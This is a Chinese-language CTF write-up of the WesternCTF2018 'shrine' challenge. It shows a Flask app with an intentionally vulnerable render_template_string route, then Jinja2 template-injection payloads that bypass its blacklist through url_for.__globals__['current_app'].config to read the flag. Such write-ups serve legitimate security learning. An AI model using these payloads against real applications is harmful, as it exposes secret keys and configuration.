[WesternCTF2018]shrine
1 import flask 2 import os 3 4 app = flask.Flask(__name__) 5 6 app.config['FLAG'] = os.environ.pop('FLAG') 7 8 @app.route('/') 9 def index(): 10 return open(__file__).read() 11 12 @app.route('/shrine/<path:shrine>') 13 def shrine(shrine): 14 15 def safe_jinja(s): 16 s = s.replace('(', '').replace(')', '') 17 blacklist = ['config', 'self'] 18 return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 19 + s 20 21 return flask.render_template_string(safe_jinja(shrine)) 22 23 if __name__ == '__main__': 24 app.run(debug=True)
查看源代码发现有两个路由,一个是根路由,一个是/shrine/参数
代码中第15行def safe_jinja(s)出现了jinja关键字,联想到flask/jinja2模板注入
尝试在/shrine/后面添加参数
http://43c8da0f-3364-4b5d-b2e2-8f0193b27398.node3.buuoj.cn/shrine/{{1*2}}
http://43c8da0f-3364-4b5d-b2e2-8f0193b27398.node3.buuoj.cn/shrine/{{1+1}}
说明存在ssti模板注入
方法safe_jinja对参数进行了过滤,将左右括号替换为空,出现config,self关键字直接页面输出None
s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
虽然过滤config,self,但是仍然有其他函数可以读取全局变量,比如url_for和get_flashed_messages
http://43c8da0f-3364-4b5d-b2e2-8f0193b27398.node3.buuoj.cn/shrine/{{url_for.__globals__}}
查看当前app中的config便可以获取到flag
http://43c8da0f-3364-4b5d-b2e2-8f0193b27398.node3.buuoj.cn/shrine/{{url_for.__globals__['current_app'].config}}
get_flashed_messages方法同理